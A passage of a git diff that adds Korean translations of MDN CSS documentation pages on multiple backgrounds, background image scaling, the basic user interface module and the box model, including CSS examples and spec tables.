+ background-position: bottom right, left, right;
+}
+</pre>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Result</td>
+ </tr>
+ <tr>
+ <td style="padding: 0;"><img alt="css_multibg.png" class="default internal" src="/@api/deki/files/4028/=css_multibg.png" style="display: block;"></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>첫 번째 배경으로 지정한(리스트에서 첫번째) 파이어폭스 로고가 맨 위에 보이고 선형 그라디언트, 꽃이 그려진 사진 순서대로 보인다. {{ cssxref("background-repeat") }} 와 {{ cssxref("background-position") }}) 속성들도 리스트 형태로 지정되었는데 순서대로 해당하는 배경에 적용된다. 예를 들어 {{ cssxref("background-repeat") }} 속성 중 첫 번째 no-repeat는 첫 번째 배경인 파이어폭스 로고에 적용된다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_gradients" title="en/Using gradients">Using CSS gradients</a></li>
+</ul>
diff --git a/files/ko/web/css/css_backgrounds_and_borders/index.html b/files/ko/web/css/css_backgrounds_and_borders/index.html
new file mode 100644
index 0000000000..4fc6295885
--- /dev/null
+++ b/files/ko/web/css/css_backgrounds_and_borders/index.html
@@ -0,0 +1,113 @@
+---
+title: CSS 배경 및 테두리
+slug: Web/CSS/CSS_Backgrounds_and_Borders
+tags:
+ - CSS
+ - CSS Backgrounds and Borders
+ - Guide
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong>CSS Backgrounds and Borders</strong> 모듈의 스타일은 배경에 색과 이미지를 채우거나, 기타 다른 방식으로 수정할 수 있습니다. 또한 테두리를 선이나 이미지로 장식할 수 있고, 직각 뿐 아니라 원형 테두리로 만들 수도 있습니다.</span> (추가로, 요소 박스를 그림자로 꾸밀 수도 있습니다.)</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("background")}}</li>
+ <li>{{cssxref("background-attachment")}}</li>
+ <li>{{cssxref("background-clip")}}</li>
+ <li>{{cssxref("background-color")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("background-origin")}}</li>
+ <li>{{cssxref("background-position")}}</li>
+ <li>{{cssxref("background-position-x")}}</li>
+ <li>{{cssxref("background-position-y")}}</li>
+ <li>{{cssxref("background-repeat")}}</li>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("border-bottom")}}</li>
+ <li>{{cssxref("border-bottom-color")}}</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-bottom-style")}}</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-collapse")}}</li>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{cssxref("border-image")}}</li>
+ <li>{{cssxref("border-image-outset")}}</li>
+ <li>{{cssxref("border-image-repeat")}}</li>
+ <li>{{cssxref("border-image-slice")}}</li>
+ <li>{{cssxref("border-image-source")}}</li>
+ <li>{{cssxref("border-image-width")}}</li>
+ <li>{{cssxref("border-left")}}</li>
+ <li>{{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("border-left-style")}}</li>
+ <li>{{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("border-radius")}}</li>
+ <li>{{cssxref("border-right")}}</li>
+ <li>{{cssxref("border-right-color")}}</li>
+ <li>{{cssxref("border-right-style")}}</li>
+ <li>{{cssxref("border-right-width")}}</li>
+ <li>{{cssxref("border-style")}}</li>
+ <li>{{cssxref("border-top")}}</li>
+ <li>{{cssxref("border-top-color")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius")}}</li>
+ <li>{{cssxref("border-top-style")}}</li>
+ <li>{{cssxref("border-top-width")}}</li>
+ <li>{{cssxref("border-width")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+</ul>
+</div>
+
+<h2 id="도구">도구</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">다수의 배경 사용하기</a></dt>
+ <dd>하나의 요소에 여러 배경을 적용하는 법을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images">배경 이미지 크기 조정하기</a></dt>
+ <dd>배경 이미지의 크기와 반복 여부를 설정하는 법을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Applying_color">CSS로 HTML 요소에 색 입히기</a></dt>
+ <dd>HTML 요소에 테두리를 비롯한 색상을 CSS로 적용하는 법을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Background_and_Borders/Border-image_generator">Border-image 생성기</a></dt>
+ <dd>테두리 이미지를 실시간으로 확인하며 만들 수 있는 도구입니다.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Background_and_Borders/Border-radius_generator">Border-radius 생성기</a></dt>
+ <dd>둥근 모서리를 실시간으로 확인하며 만들 수 있는 도구입니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Background_and_Borders/Box-shadow_generator">Box-shadow 생성기</a></dt>
+ <dd>요소 뒤의 그림자를 실시간으로 확인하며 만들 수 있는 도구입니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Backgrounds') }}</td>
+ <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#border')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html b/files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html
new file mode 100644
index 0000000000..f3f0d6529b
--- /dev/null
+++ b/files/ko/web/css/css_backgrounds_and_borders/scaling_background_images/index.html
@@ -0,0 +1,137 @@
+---
+title: 배경 이미지 크기 조정하기
+slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images
+tags:
+ - CSS
+ - CSS Background
+ - Example
+ - Guide
+ - Intermediate
+ - Reference
+ - Web
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary">CSS 배경 이미지의 기본 설정값에서는 원본 이미지가 크기 변화 없이 바둑판식으로 배열됩니다. {{cssxref("background-size")}} 속성에 가로와 세로 크기를 지정해 크기를 바꿀 수 있습니다.</span> 이미지는 원하는대로 확대할 수도, 줄일 수도 있습니다.</p>
+
+<h2 id="큰_이미지_바둑판식_배열">큰 이미지 바둑판식 배열</h2>
+
+<p>2982x2808의 커다란 Firefox 이미지를 가지고 있다고 해보겠습니다. 모종의 이유(끔찍하게 잘못된 사이트 디자인 등)로 300x300 픽셀 요소에 저 이미지 4개를 바둑판식으로 보여야 합니다. <code>background-size</code>와 고정값 150 픽셀로 목표를 달성할 수 있습니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="tiledBackground"&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[3]">.tiledBackground {
+ background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+ background-size: 150px;
+ width: 300px;
+ height: 300px;
+ border: 2px solid;
+ color: pink;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("큰_이미지_바둑판식_배열", 340, 340)}}</p>
+
+<h2 id="Stretching_an_image" name="Stretching_an_image">이미지 늘리기</h2>
+
+<p>가로와 세로 크기를 각각 지정할 수도 있습니다.</p>
+
+<pre class="brush:css">background-size: 300px 150px;
+</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8967/ss2.png"></p>
+
+<h2 id="Scaling_an_image_up" name="Scaling_an_image_up">작은 이미지 키우기</h2>
+
+<p>반대로 배경 이미지를 키울 수도 있습니다. 다음 코드는 32x32 픽셀 파비콘을 300x300 픽셀로 늘린 결과입니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8969/ss3.png"></p>
+
+<pre class="brush: css; highlight:[5]">.square2 {
+ background-image: url(favicon.png);
+ background-size: 300px;
+ width: 300px;
+ height: 300px;
+ border: 2px solid;
+ text-shadow: white 0px 0px 2px;
+ font-size: 16px;
+}
+</pre>
+
+<p>보시다시피 CSS는 이미지 파일 이름을 제외하면 동일합니다.</p>
+
+<h2 id="Special_values.3A_.22contain.22_and_.22cover.22" name="Special_values.3A_.22contain.22_and_.22cover.22">특별한 값: "contain" 과 "cover"</h2>
+
+<p>길이를 나타내는 {{cssxref("&lt;length&gt;")}} 값 대신, {{ cssxref("background-size") }} CSS 속성에 <code>contain</code> 과 <code>cover</code> 두개의 특별한 값을 지정할 수 있습니다. 살펴봅시다.</p>
+
+<h3 id="contain" name="contain"><code>contain</code></h3>
+
+<p><code>contain</code> 값을 지정하면, 배경 이미지의 가로, 세로 모두 요소보다 작다는 조건하에 가능한 크게 조정됩니다. 이미지의 가로, 세로 비율은 유지됩니다. 따라서 배경 이미지의 크기는 요소의 크기보다 항상 작거나 같습니다. 아래 예제의 크기를 조절해서 실제로 어떻게 동작하는지 확인해보세요.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="bgSizeContain"&gt;
+ &lt;p&gt;Try resizing this element!&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.bgSizeContain {
+ background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+ background-size: contain;
+ width: 160px;
+ height: 160px;
+ border: 2px solid;
+ color: pink;
+ resize: both;
+ overflow: scroll;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('contain', 250, 250) }}</p>
+
+<h3 id="cover" name="cover"><code>cover</code></h3>
+
+<p>값을 <code>cover</code> 로 지정하면 배경이미지의 가로, 세로 길이 모두 요소보다 크다는 조건하에 가능한 배경 이미지를 작게 조정합니다. 가로, 세로 비율은 유지됩니다. 따라서 배경 이미지의 크기는 요소의 크기보다 항상 크거나 같습니다. 아래 예제의 크기를 조절해서 실제로 어떻게 동작하는지 확인해보세요.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;div class="bgSizeCover"&gt;
+ &lt;p&gt;Try resizing this element!&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">.bgSizeCover {
+ background-image: url(https://mdn.mozillademos.org/files/8971/firefox_logo.png);
+ background-size: cover;
+ width: 160px;
+ height: 160px;
+ border: 2px solid;
+ color: pink;
+ resize: both;
+ overflow: scroll;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{ EmbedLiveSample('cover', 250, 250) }}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{ cssxref("background-size") }}</li>
+ <li>{{ cssxref("background") }}</li>
+ <li><a href="/en-US/docs/Web/CSS/Scaling_of_SVG_backgrounds">Scaling of SVG backgrounds</a></li>
+</ul>
diff --git a/files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
new file mode 100644
index 0000000000..1e0e3deeca
--- /dev/null
+++ b/files/ko/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
@@ -0,0 +1,59 @@
+---
+title: 한 번에 여러 배경 사용하기
+slug: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
+tags:
+ - CSS
+ - CSS Background
+ - Example
+ - Guide
+ - Reference
+translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong>여러 개의 배경</strong>을 한 번에 적용할 수도 있습니다. 첫 번째 배경이 맨 위에, 마지막 배경이 맨 밑에 위치하는 레이어 구조를 사용하게 됩니다.</span> 마지막 배경에만 배경색을 적용할 수 있습니다.</p>
+
+<p>여러 배경을 적용하는 건 쉽습니다.</p>
+
+<pre class="brush: css">.myclass {
+ background: background1, background 2, ..., backgroundN;
+}
+</pre>
+
+<p>{{ cssxref("background") }} <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>뿐 아니라 {{cssxref("background-color")}}를 제외한 단일 속성에서도 사용할 수 있습니다. 즉, {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}에는 목록을 값으로 지정할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 Firefox 로고, 거품, <a href="/ko/docs/Web/CSS/linear-gradient">선형 그레이디언트</a> 총 세 개의 배경을 사용합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="multi-bg-example"&gt;&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.multi-bg-example {
+ width: 100%;
+ height: 400px;
+ background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png),
+ url(https://mdn.mozillademos.org/files/11307/bubbles.png),
+ linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
+ background-repeat: no-repeat,
+ no-repeat,
+ no-repeat;
+ background-position: bottom right,
+ left,
+ right;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제','600','400')}}</p>
+
+<p>결과에서 볼 수 있듯, {{cssxref("background-image")}}에서 첫 번째로 지정한 Firefox 로고가 맨 위, 그 다음이 거품 그림이고 선형 그레이디언트는 모든 '이미지' 밑에 위치합니다. 하위 속성({{ cssxref("background-repeat") }}, {{ cssxref("background-position") }})의 각 값도 순서에 맞는 배경에 적용됩니다. 따라서 <code>background-repeat</code>의 첫 번째 값은 처음(맨 위) 배경에 적용되고, 두 번째와 두 번째 배경, 세 번째와 세 번째 배경...도 같습니다.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/CSS/Using_CSS_gradients" title="en/Using gradients">CSS 그레이디언트 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/css/css_basic_user_interface/index.html b/files/ko/web/css/css_basic_user_interface/index.html
new file mode 100644
index 0000000000..4baba659db
--- /dev/null
+++ b/files/ko/web/css/css_basic_user_interface/index.html
@@ -0,0 +1,75 @@
+---
+title: CSS Basic User Interface
+slug: Web/CSS/CSS_Basic_User_Interface
+tags:
+ - CSS
+ - CSS Basic User Interface
+ - Guide
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Basic_User_Interface
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Basic User Interface</strong>는 사용자 인터페이스와 연관된 렌더링 및 기능의 동작 방식을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("appearance")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("box-sizing")}}</li>
+ <li>{{CSSxRef("cursor")}}</li>
+ <li>{{CSSxRef("ime-mode")}} {{Deprecated_Inline}}</li>
+ <li>{{CSSxRef("nav-down")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("nav-left")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("nav-right")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("nav-up")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("outline")}}</li>
+ <li>{{CSSxRef("outline-width")}}</li>
+ <li>{{CSSxRef("outline-style")}}</li>
+ <li>{{CSSxRef("outline-color")}}</li>
+ <li>{{CSSxRef("outline-offset")}}</li>
+ <li>{{CSSxRef("resize")}}</li>
+ <li>{{CSSxRef("text-overflow")}}</li>
+ <li>{{CSSxRef("user-select")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/cursor/Using_URL_values_for_the_cursor_property"><code>cursor</code> 속성값에 URL 사용하기</a></dt>
+ <dd>URL을 {{cssxref("cursor")}} 속성에 사용해 사용자 지정 커서를 생성하는 방법을 설명합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Basic UI")}}</td>
+ <td>{{Spec2("CSS4 Basic UI")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Basic UI")}}</td>
+ <td>{{Spec2("CSS3 Basic UI")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "ui.html")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_box_model/index.html b/files/ko/web/css/css_box_model/index.html
new file mode 100644
index 0000000000..aac36b356a
--- /dev/null
+++ b/files/ko/web/css/css_box_model/index.html
@@ -0,0 +1,113 @@
+---
+title: CSS Basic Box Model
+slug: Web/CSS/CSS_Box_Model
+tags:
+ - CSS
+ - CSS Box Model
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Box_Model
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Basic Box Model</strong>은 각 요소에 대해 <a href="/ko/docs/Web/Guide/CSS/Visual_formatting_model">시각적 서식 모델</a>에 따라 생성하고 배치하는 사각형 박스(안팎 여백 포함)를 위한 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<h4 id="박스_내_콘텐츠_흐름을_제어하는_속성">박스 내 콘텐츠 흐름을 제어하는 속성</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("overflow")}}</li>
+ <li>{{cssxref("overflow-x")}}</li>
+ <li>{{cssxref("overflow-y")}}</li>
+</ul>
+</div>
+
+<h4 id="박스_크기를_제어하는_속성">박스 크기를 제어하는 속성</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("width")}}</li>
+ <li>{{cssxref("max-height")}}</li>
+ <li>{{cssxref("max-width")}}</li>
+ <li>{{cssxref("min-height")}}</li>
+ <li>{{cssxref("min-width")}}</li>
+</ul>
+</div>
+
+<h4 id="박스의_바깥_여백을_제어하는_속성">박스의 바깥 여백을 제어하는 속성</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+ <li>{{cssxref("margin-trim")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h4 id="박스의_안쪽_여백을_제어하는_속성">박스의 안쪽 여백을 제어하는 속성</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("padding")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+</ul>
+</div>
+
+<h4 id="기타_속성">기타 속성</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("visibility")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model" title="Introduction to the CSS box model">CSS 박스 모델 입문</a></dt>
+ <dd>CSS의 기초 개념 중 하나인 박스 모델을 설명합니다. 박스 모델은 CSS가 요소와 요소의 콘텐츠, 안쪽 여백, 테두리, 바깥 여백 영역을 배치하는 법을 정의합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing" title="Mastering margin collapsing">여백 상쇄 정복</a></dt>
+ <dd>어떤 경우, 두 개의 인접한 바깥 여백은 하나로 상쇄됩니다. 이 글은 상쇄가 언제 어떻게 일어나고 이를 어떻게 제어하는지 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/Guide/CSS/Visual_formatting_model">시각적 서식 모델</a></dt>
+ <dd>시각적 서식 모델을 설명합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Box")}}</td>
+ <td>{{Spec2("CSS3 Box")}}</td>
+ <td><code>margin-trim</code> 추가.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "box.html")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS1")}}</td>
+ <td>{{Spec2("CSS1")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html
new file mode 100644
index 0000000000..dd7718f701
--- /dev/null
+++ b/files/ko/web/css/css_box_model/introduction_to_the_css_box_model/index.html
@@ -0,0 +1,70 @@
+---
+title: CSS 기본 박스 모델 입문
+slug: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model
+tags:
+ - CSS
+ - CSS Box Model
+ - Guide
+ - Layout
+translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model
+---
+<div>{{CSSRef}}</div>
+
+<p>문서의 레이아웃을 계산할 때, 브라우저의 렌더링 엔진은 표준 <strong>CSS 기본 박스 모델</strong>에 따라 각각의 요소를 사각형 박스로 표현합니다. CSS는 박스의 크기, 위치, 속성(색, 배경, 테두리 모양 등)을 결정합니다.</p>
+
+<p>하나의 박스는 네 부분(영역)으로 이루어집니다. 각 영역을 콘텐츠 영역, 안쪽 여백(패딩) 영역, 테두리 영역, 그리고 바깥 여백(마진) 영역이라고 부릅니다.</p>
+
+<p><img alt="CSS Box model" src="https://mdn.mozillademos.org/files/8685/boxmodel-(3).png" style="height: 384px; width: 548px;"></p>
+
+<p><a id="content-area" name="content-area"><strong>콘텐츠 영역</strong></a>(content area)은 콘텐츠 경계(content edge)가 감싼 영역으로, 글이나 이미지, 비디오 등 요소의 실제 내용을 포함합니다. 콘텐츠 영역의 크기는 콘텐츠 너비(콘텐츠 박스 너비)와 콘텐츠 높이(콘텐츠 박스 높이)입니다. 배경색과 배경 이미지를 가지고 있기도 합니다.</p>
+
+<p>{{cssxref("box-sizing")}} 속성의 값이 기본값인 <code>content-box</code>이며 요소가 블록 레벨 요소인 경우, 콘텐츠 영역의 크기를 {{cssxref("width")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}, {{ cssxref("height") }}, {{cssxref("min-height")}}, {{cssxref("max-height")}} 속성을 사용해 사용해 명시적으로 설정할 수 있습니다.</p>
+
+<p><a id="padding-area" name="padding-area"><strong>안쪽 여백 영역</strong></a>(패딩 영역, padding area)은 안쪽 여백 경계(padding edge)가 감싼 영역으로, 콘텐츠 영역을 요소의 안쪽 여백까지 포함하는 크기로 확장합니다. 영역의 크기는 안쪽 여백 박스 너비와 안쪽 여백 박스 높이입니다.</p>
+
+<p>안쪽 여백의 두께는 {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}와 단축 속성인 {{cssxref("padding")}}이 결정합니다.</p>
+
+<p><a id="border-area" name="border-area"><strong>테두리 영역</strong></a>(border area)은 테두리 경계(border edge)가 감싼 영역으로, 안쪽 여백 영역을 요소의 테두리까지 포함하는 크기로 확장합니다. 영역의 크기는 테두리 박스 너비와 테두리 박스 높이입니다.</p>
+
+<p>테두리의 두께는 {{cssxref("border-width")}}와 단축 속성인 {{cssxref("border")}}가 결정합니다. {{cssxref("box-sizing")}} 속성의 값이 <code>border-box</code>라면 테두리 영역의 크기를 {{cssxref("width")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}, {{ cssxref("height") }}, {{cssxref("min-height")}}, {{cssxref("max-height")}} 속성을 사용해 명시적으로 설정할 수 있습니다. 박스의 배경({{cssxref("background-color")}} 또는 {{cssxref("background-image")}})은 테두리의 바깥 경계까지 늘어나고, 그릴 땐 테두리에 가려집니다. 이 동작 방식은 {{cssxref("background-clip")}} 속성으로 바꿀 수 있습니다.</p>
+
+<p><a id="margin-area" name="margin-area"><strong>바깥 여백 영역</strong></a>(마진 영역, margin area)은 바깥 여백 경계(margin edge)가 감싼 영역으로, 테두리 요소를 확장해 요소와 인근 요소 사이의 빈 공간까지 포함하도록 만듭니다. 영역의 크기는 바깥 여백 박스 너비와 바깥 여백 박스 높이입니다.</p>
+
+<p>바깥 여백 영역의 크기는 {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, {{cssxref("margin-left")}}와 단축 속성인 {{cssxref("margin")}}이 결정합니다. <a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 상쇄</a>가 발생할 때는 요소 간에 바깥 여백이 공유되므로 여백 영역이 명확하게 결정되지 않습니다.</p>
+
+<p>끝으로, 비대체 인라인 요소가 차지하는 공간의 크기(줄 높이에 기여하는 양)는, 요소 주위에 테두리와 안쪽 여백이 표시되더라도 {{cssxref("line-height")}} 속성으로 결정한다는 점을 주의하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Box', '#intro')}}</td>
+ <td>{{Spec2('CSS3 Box')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{ SpecName("CSS2.1","box.html#box-dimensions")}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Though more precisely worded, there is no practical change.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName("CSS1","#formatting-model")}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{css_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html b/files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html
new file mode 100644
index 0000000000..1dd8b04888
--- /dev/null
+++ b/files/ko/web/css/css_box_model/mastering_margin_collapsing/index.html
@@ -0,0 +1,82 @@
+---
+title: 여백 상쇄 정복
+slug: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing
+tags:
+ - CSS
+ - CSS Box Model
+ - Guide
+ - Reference
+translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing
+---
+<div>{{CSSRef}}</div>
+
+<p>여러 블록의 <a href="/ko/docs/Web/CSS/margin-top">위쪽</a> 및 <a href="/ko/docs/Web/CSS/margin-bottom">아래쪽</a> 바깥 여백(마진)은 경우에 따라 제일 큰 여백의 크기를 가진 단일 여백으로 결합(상쇄)되곤 합니다. 이런 동작을 <strong>여백 상쇄</strong>라고 부릅니다. 단, <a href="/ko/docs/Web/CSS/float">플로팅</a> 요소와 <a href="/ko/docs/Web/CSS/position#absolute">절대 위치를 지정</a>한 요소의 여백은 절대 상쇄되지 않습니다.</p>
+
+<p>여백 상쇄는 다음과 같은 세 가지 기본 상황에 발생합니다.</p>
+
+<dl>
+ <dt>인접 형제</dt>
+ <dd>인접 형제 요소간의 바깥 여백은 서로 상쇄됩니다. (단, 뒤쪽 형제가 플로팅을 <a href="/ko/docs/Web/CSS/clear">해제</a>해야 하는 경우는 예외)</dd>
+ <dt>부모와 자손을 분리하는 콘텐츠 없음</dt>
+ <dd>부모 블록에 테두리, 안쪽 여백, 인라인 부분이 없고 블록 서식 맥락이 생성되지 않았으며 부모의 {{cssxref("margin-top")}}을 자손의 <code>margin-top</code>과 분리할 <a href="/ko/docs/Web/CSS/clear">권한</a>이 없는 경우, 또는, 부모 블록에 테두리, 안쪽 여백, 인라인 콘텐츠가 없으며 부모의 {{cssxref("margin-bottom")}}과 자손의 <code>margin-bottom</code>을 분리할 {{cssxref("height")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}가 존재하지 않는 경우 부모와 자손의 여백이 상쇄됩니다. 상쇄된 여백은 부모 블록 바깥에 위치합니다.</dd>
+ <dt>빈 블록</dt>
